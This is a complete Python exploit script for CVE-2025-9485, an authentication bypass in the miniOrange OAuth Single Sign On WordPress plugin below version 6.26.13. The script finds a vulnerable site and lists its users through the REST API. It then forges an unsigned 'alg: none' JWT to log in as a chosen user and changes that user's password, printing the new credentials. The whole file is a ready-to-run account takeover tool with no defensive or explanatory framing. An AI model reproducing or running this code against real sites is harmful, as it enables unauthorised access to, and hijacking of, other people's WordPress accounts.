#!/usr/bin/env python3
import argparse
import base64
import html
import json
import random
import re
import secrets
import string
import time
import urllib.parse

import requests


R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
C = "\033[96m"
B = "\033[1m"
E = "\033[0m"


def b64url(d):
    return base64.urlsafe_b64encode(d).rstrip(b"=").decode()


def jwt_none(claims):
    return b64url(json.dumps({"typ":"JWT","alg":"none"},separators=(",",":")).encode()) + "." + b64url(json.dumps(claims,separators=(",",":")).encode()) + "."


def rand_pw():
    a = string.ascii_letters + string.digits + "!@#$%&*"
    while True:
        p = "".join(secrets.choice(a) for _ in range(20))
        if any(c.islower() for c in p) and any(c.isupper() for c in p) and any(c.isdigit() for c in p) and any(c in "!@#$%&*" for c in p):
            return p


def parse_url(raw):
    if not raw.startswith("http://") and not raw.startswith("https://"):
        raw = "http://" + raw
    p = urllib.parse.urlparse(raw)
    return p.scheme, p.hostname or "", p.port or (443 if p.scheme == "https" else 80)


def get_wp_host(scheme, ip, port):
    try:
        base = f"{scheme}://{ip}" if port in (80, 443) else f"{scheme}://{ip}:{port}"
        r = requests.get(base + "/", allow_redirects=False, timeout=8)
        loc = r.headers.get("Location", "")
        if loc:
            p = urllib.parse.urlparse(loc)
            if p.hostname and p.hostname != ip:
                return f"{p.hostname}:{p.port}" if p.port and p.port not in (80, 443) else p.hostname
    except:
        pass
    return ip if port in (80, 443) else f"{ip}:{port}"


def mkurl(scheme, ip, port, path="/"):
    return (f"{scheme}://{ip}" if port in (80, 443) else f"{scheme}://{ip}:{port}") + path


def check_vuln(s, scheme, ip, port):
    body = s.get(mkurl(scheme, ip, port, "/wp-login.php"), timeout=10).text
    body += s.get(mkurl(scheme, ip, port, "/"), timeout=10).text
    slug = "miniorange-login-with-eve-online-google-facebook"
    if slug not in body:
        return None, None
    ver = re.findall(slug + r"/[^?]+\?ver=([0-9.]+)", body)
    version = max(ver, key=lambda v: tuple(int(x) for x in v.split("."))) if ver else None
    if version and tuple(int(x) for x in version.split(".")) >= (6, 26, 13):
        return version, False
    apps = list(dict.fromkeys(urllib.parse.unquote(m.group(1)) for m in re.finditer(r"[?&]app_name=([^&'\"<>\s]+)", body)))
    for a in ["keycloak", "openid", "oauth"]:
        if a not in apps:
            apps.append(a)
    for app in apps:
        try:
            r = s.get(mkurl(scheme, ip, port, f"/?option=oauthredirect&app_name={app}"), allow_redirects=False, timeout=10)
        except:
            continue
        if r.status_code in (301, 302, 303, 307, 308) and "openid-connect/auth" in r.headers.get("Location", ""):
            return version, app
    return version, None


def get_users(s, scheme, ip, port):
    try:
        r = s.get(mkurl(scheme, ip, port, "/index.php?rest_route=/wp/v2/users"), timeout=10)
        data = r.json()
        if isinstance(data, list):
            return [u["slug"] for u in data if u.get("slug")]
    except:
        pass
    return []


def exploit(s, scheme, ip, port, app, username, email):
    r = s.get(mkurl(scheme, ip, port, f"/?option=oauthredirect&app_name={app}"), allow_redirects=False, timeout=10)
    loc = r.headers.get("Location", "")
    params = {k: v[0] for k, v in urllib.parse.parse_qs(urllib.parse.urlparse(loc).query).items()}
    parsed = urllib.parse.urlparse(loc)
    realm = re.search(r"/realms/([^/]+)/", parsed.path)
    issuer = f"{parsed.scheme}://{parsed.netloc}/realms/{realm.group(1)}" if realm else ""
    client_id, nonce, state = params.get("client_id", ""), params.get("nonce", ""), params.get("state", "")
    redirect_uri = params.get("redirect_uri", "/")
    now = int(time.time())
    claims = {"iss": issuer, "aud": client_id, "azp": client_id, "sub": f"f-{username}-{random.randint(1000,9999)}", "preferred_username": username, "email": email, "email_verified": True, "name": username, "iat": now, "nbf": now, "exp": now + 3600}
    if nonce:
        claims["nonce"] = nonce
    token = jwt_none(claims)
    cb = urllib.parse.urlparse(redirect_uri).path or "/"
    s.post(mkurl(scheme, ip, port, cb), data={"id_token": token, "state": state}, allow_redirects=False, timeout=10)
    if any(n.startswith("wordpress_logged_in") for n in s.cookies.get_dict()):
        return True
    s.get(mkurl(scheme, ip, port, cb + "?" + urllib.parse.urlencode({"id_token": token, "state": state})), allow_redirects=False, timeout=10)
    return any(n.startswith("wordpress_logged_in") for n in s.cookies.get_dict())


def change_pw(s, scheme, ip, port, username, pw):
    r = s.get(mkurl(scheme, ip, port, "/wp-admin/profile.php"), timeout=10)
    if r.status_code != 200:
        return False
    fields = {}
    for m in re.finditer(r'<input[^>]*name=["\']([^"\']+)["\'][^>]*value=["\']([^"\']*)["\']', r.text, re.I):
        fields[m.group(1)] = html.unescape(m.group(2))
    for m in re.finditer(r'<input[^>]*value=["\']([^"\']*)["\'][^>]*name=["\']([^"\']+)["\']', r.text, re.I):
        fields[m.group(2)] = html.unescape(m.group(1))
    fields.update({"action": "update", "pass1": pw, "pass2": pw, "pw_weak": "on", "submit": "Update Profile"})
    if not fields.get("display_name"):
        fields["display_name"] = username
    r = s.post(mkurl(scheme, ip, port, "/wp-admin/profile.php"), data=fields, allow_redirects=False, timeout=10)
    return "updated=1" in r.headers.get("Location", "") or "updated=true" in r.headers.get("Location", "")


def main():
    parser = argparse.ArgumentParser(description="CVE-2025-9485 | miniOrange OAuth Single Sign On < 6.26.13 Authentication Bypass")
    parser.add_argument("url", help="http://target or target IP")
    args = parser.parse_args()

    scheme, ip, port = parse_url(args.url)
    host = get_wp_host(scheme, ip, port)
    s = requests.Session()
    s.headers.update({"Host": host})

    print(f"{C}[*]{E} Target: {B}{scheme}://{ip}:{port}{E} (Host: {host})")
    version, app = check_vuln(s, scheme, ip, port)
    if app is None:
        print(f"{R}[-]{E} Not vulnerable. Plugin version: {version or 'not found'}")
        return
    print(f"{G}[+]{E} Plugin version: {Y}{version or 'unknown'}{E} | app_name: {Y}{app}{E}")
    print(f"{G}[+]{E} {R}{B}Vulnerable to CVE-2025-9485{E}")

    users = get_users(s, scheme, ip, port)
    if not users:
        print(f"{R}[-]{E} No public users found")
        u = input(f"{Y}[?]{E} Enter username: ").strip()
        if not u:
            return
        users = [u]
    else:
        print(f"{C}[*]{E} Users: {', '.join(users)}")
        for i, u in enumerate(users):
            print(f"  {C}[{i}]{E} {u}")
        c = input(f"{Y}[?]{E} Select user [0-{len(users)-1}]: ").strip()
        if not c.isdigit() or int(c) >= len(users):
            return
        users = [users[int(c)]]

    username = users[0]
    email = f"{username}@{host.split(':')[0]}"
    print(f"{C}[*]{E} Exploiting: {B}{username}{E} ({email})")

    if not exploit(s, scheme, ip, port, app, username, email):
        print(f"{R}[-]{E} Failed, no login cookie")
        return
    print(f"{G}[+]{E} {G}Auth bypass success!{E}")

    pw = rand_pw()
    if change_pw(s, scheme, ip, port, username, pw):
        print(f"{G}[+]{E} {G}Password changed!{E}")
        print(f"    {B}URL:{E}      {scheme}://{host}/wp-login.php")
        print(f"    {B}Username:{E} {username}")
        print(f"    {B}Password:{E} {R}{pw}{E}")
    else:
        print(f"{R}[-]{E} Password change failed")


if __name__ == "__main__":
    main()